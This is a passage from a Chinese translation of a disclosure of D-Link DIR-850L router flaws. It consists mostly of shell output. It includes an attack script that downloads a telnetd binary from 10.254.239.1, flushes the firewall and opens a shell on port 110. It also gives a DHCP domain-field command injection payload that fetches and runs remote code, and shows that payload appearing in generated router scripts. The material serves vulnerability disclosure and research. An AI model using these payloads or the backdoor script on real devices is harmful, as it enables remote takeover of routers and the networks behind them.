Enter 'help' for a list of built-in commands. # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc
drwxr-xr-x    2 root     root            0 Jan  1  1970 log drwxr-xr-x    3 root     root            0 Jan  1 00:00 run
drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac
drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp
drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd
drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs
-rw-r--r--    1 root     root           10 Jan  1  1970 TZ
drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd
-rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml
-rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd
drwxrwx---    2 root     root            0 Jan  1 00:00 session
srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl
-rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op
drwxr-xr-x    2 root     root            0 Jan  1 00:00 home
lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage
drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc
-rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0
drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger
-rw-r--r--    1 root     root          383 Jan  1 00:00 re
-rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan
-rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf
-rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf
-rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf
-rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf
-rw-r--r--    1 root     root          199 Jan  1 00:00 hosts
drwxr-xr-x   16 root     root          241 Jan 20  2017 ..
drwxr-xr-x   14 root     root            0 Jan  1 00:00 . # cat re #!/bin/sh  wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules iptables -F        
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD ACCEPT
sleep 10 done ) &
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 & #

还有一些WAN RCEs,首先第一个就是 /etc/services/INET/inet_ipv4.php存在漏洞

$udhcpc_helper = “/var/servd/”.$inf.”-udhcpc.sh”;

101行之后存在命令注入漏洞

 99 fwrite(w,$udhcpc_helper, 100 '#!/bin/sh\n'. 101 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console\n'. 102 'phpsh '.$hlper.' ACTION=$1'. 103 ' INF='.$inf. 104 ' INET='.$inet. 105 ' MTU='.$mtu. 106 ' INTERFACE=$interface'. 107 ' IP=$ip'. 108 ' SUBNET=$subnet'. 109 ' BROADCAST=$broadcast'. 110 ' LEASE=$lease'. 111 ' "DOMAIN=$domain"'. 112 ' "ROUTER=$router"'. 113 ' "DNS='.$dns.'$dns"'. 114 ' "CLSSTROUT=$clsstrout"'. 115 ' "MSCLSSTROUT=$msclsstrout"'. 116 ' "SSTROUT=$sstrout"'. 117 ' "SCOPE=$scope"'. 118 ' "WINSTYPE=$winstype"'. 119 ' "WINS=$wins"'. 120 ' "SIXRDPFX=$sixrd_prefix"'. 121 ' "SIXRDPLEN=$sixrd_prefixlen"'. 122 ' "SIXRDMSKLEN=$sixrd_msklen"'. 123 ' "SIXRDBRIP=$sixrd_bripaddr"'. 124 ' "SDEST=$sdest"'. 125 ' "SSUBNET=$ssubnet"'. 126 ' "SROUTER=$srouter"\n'. 127 'exit 0\n' 128 );

;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; 可以注入对 /var/servd/ 下一些生成的文件进行注入。

# cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease
xmldbc -X /runtime/inf:1/dhcps4/leases
xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100
xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199
xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1
xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection
xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1
event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 # # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease
xmldbc -X /runtime/inf:2/dhcps4/leases
xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100
xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199
xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1
xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection
xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1
event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 #

*本文译者:ang010ela,参考资料https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html